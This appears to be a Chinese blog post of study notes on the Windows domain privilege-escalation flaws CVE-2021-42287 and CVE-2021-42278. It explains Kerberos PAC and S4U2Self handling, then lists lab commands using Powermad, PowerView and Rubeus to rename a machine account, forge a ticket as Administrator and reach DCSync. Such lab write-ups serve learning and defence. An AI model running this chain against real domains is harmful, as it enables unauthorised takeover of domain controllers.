CVE-2021-42287 & CVE-2021-42278 Windows域提权漏洞学习记录

  • 环境搭建

    将就 vulntarget-b 的 win10 和 server2016 了,打的时候也是用的这个洞。

  • 前置知识

    Kerberos 中的 PAC

    PAC (Privilege Attribute Certificate,特权属性证书) 用于 kerberos 协议中的权限认证,在基础的 kerberos 模型中没有对用户权限的判断,加入 PAC 后,在 KDC 返回的 TGT(AS_REP) 和 ST(TGS_REP) 中都包含 PAC。

    image-20220417125305326

    KDC 在收到 AS-REQ 之后,从请求中取出 cname 字段,然后查询活动目录数据库,找到 sAMAccountName 属性为 cname 字段的值的用户,用该用户的身份生成一个对应的 PAC。

    在 TGS_REQ & TGS_REP 请求 ST 的过程中,KDC 收到 TGT 后,用 krbtgt 密钥解密,取出 PAC 并验证签名(确保 PAC 未被篡改),然后将其直接 copy 到 ST 中,也就是说只要签名合法 PAC 不会改变,这里是没有对 PAC 的正确性做检查的。

    image-20220417135813340

    但在 S4u2Self&S4u2Proxy 请求中,ST 中的 PAC 是重新生成的。(!)

    而如果 TGT 中本身就没有 PAC 的话,KDC 在 copy PAC 的时候也会 copy 一个空的,那么 ST 中也就没有 PAC。

    PAC 的一些重要字段:

    - Acct Name:该字段对应的值是用户sAMAccountName属性的值
    - Full Name:该字段对应的值是用户displayName属性的值
    - User RID:该字段对应的值是用户的RID,也就是用户SID的最后部分
    - Group RID:对于该字段,域用户的Group RID恒为513(也就是Domain Users的RID),机器用户的Group RID恒为515(也就是Domain Computers的RID)
    - Num RIDS:用户所属组的个数
    - GroupIDS:用户所属的所有组的RID
    
    S4u2Self 协议

    为了对委派机制中权限的进一步限制,Kerberos 协议扩展了两个自协议 S4U2Self(Service for User to Self)和 S4u2Proxy (Service for User to Proxy )。

    S4u2Self 可以代表任意用户请求针对自身的 ST 服务票据;S4u2Proxy 可以用上一步获得 ST 以用户的名义请求针对其它指定服务的 ST 。

    image-20220417133057879

    当 KDC 收到 TGS_REQ S4u2Self 协议后,首先验证客户端是否有权限发起 S4U2Self,然后根据 S4U2Self 中模拟的用户生成对应权限的 PAC,放在 ST 票据中(不会复用)

    跨域的 TGS

    当 TGT 中没有 PAC 的时候,如果是当前域的请求,则 ST 中也没有 PAC,如果是其它域的话,会重新生成一个 PAC。

  • 漏洞原理

    Windows 中机器账户的 username 一般以 $ 结尾。当请求服务 ST 的账户没有被 KDC 找到的时候,KDC 会自动在 username 尾部添加 $ 重新搜索。

    那么如果域控主机名为 moonflower $,而攻击者将机器账户的 sAMAccountName 更改为 moonflower。

    用户收到这个 TGT 之后,攻击者将机器名修改为其它机器名,然后用这个 TGT 向 TGS 请求 S4u2Self 服务(为了修改 PAC)。

    当 TGS 解密这个 TGT 后,获取到机器名:moonflower,也就是域控的主机名。有因为是 S4u2Self 服务,所有需要用主机名对应的密钥来加密 ST,而此时在 KDC 中已经搜索不到 moonflower 这个用户了,那么就会自动在 moonflower 后面添加一个 $,再次搜索,这时搜到了域控,接着就用域控的密钥加密了 S4u2Self 的 ST发给用户。最后用户拿着这个 ST 取访问域控,就获取了域控的控制权。

  • 手动复现

    具体流程:

    1.首先创建一个机器账户,可以使用 impacket 的 addcomputer.py 或是 powermad(addcomputer.py 是利用 SAMR 协议创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除)
    2.清除机器账户的 servicePrincipalName 属性
    3.将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带$
    4.为机器账户请求 TGT
    5.将机器账户的 sAMAccountName 更改为其他名字,不与步骤3重复即可
    6.通过 S4U2self 协议向 DC 请求 ST
    7.进行 DCsync Attack
    

    创建机器账户,工具:https://github.com/Kevin-Robertson/Powermad

    powershell Set-ExecutionPolicy Bypass -Scope Process 
    Import-Module .\Powermad.ps1
    添加机器用户,输入密码:
    New-MachineAccount -MachineAccount saulgoodman -Domain vulntarget.com -DomainController WIN-UH20PRD3EAO.vulntarget.com -Verbose
    验证结果:
    net group "domain computers" /domain
    

    image-20220417154401829

    然后用 powerview 清除 SPN 信息

    Set-DomainObject "CN=saulgoodman,CN=Computers,DC=vulntarget,DC=com" -Clear 'serviceprincipalname' -Verbose
    

    image-20220417155709155

    重新设置机器名称

    Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "WIN-UH20PRD3EAO" -Attribute samaccountname -Verbose
    

    image-20220417155948641

    用 Rubeus 模拟发送请求:

    ./Rubeus.exe asktgt /user:WIN-UH20PRD3EAO /password:admin#123 /domian:vulntarget.com /dc:WIN-UH20PRD3EAO.vulntarget.com /nowrap
    

    image-20220417162254520

    改回原来的属性

    Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose
    

    获取 ST 票据

    ./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/WIN-UH20PRD3EAO.vulntarget.com" /dc:"WIN-UH20PRD3EAO.vulntarget.com" /ptt /ticket:前面生成的 ticket
    

    image-20220417215150300

  • 参考文献

    • https://www.anquanke.com/post/id/263910#h3-4
    • https://www.freebuf.com/vuls/317773.html
    • http://kb-at-zero.com/2021/12/19/CVE-2021-42278-42287%EF%BC%88%E5%9F%9F%E6%8E%A7%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注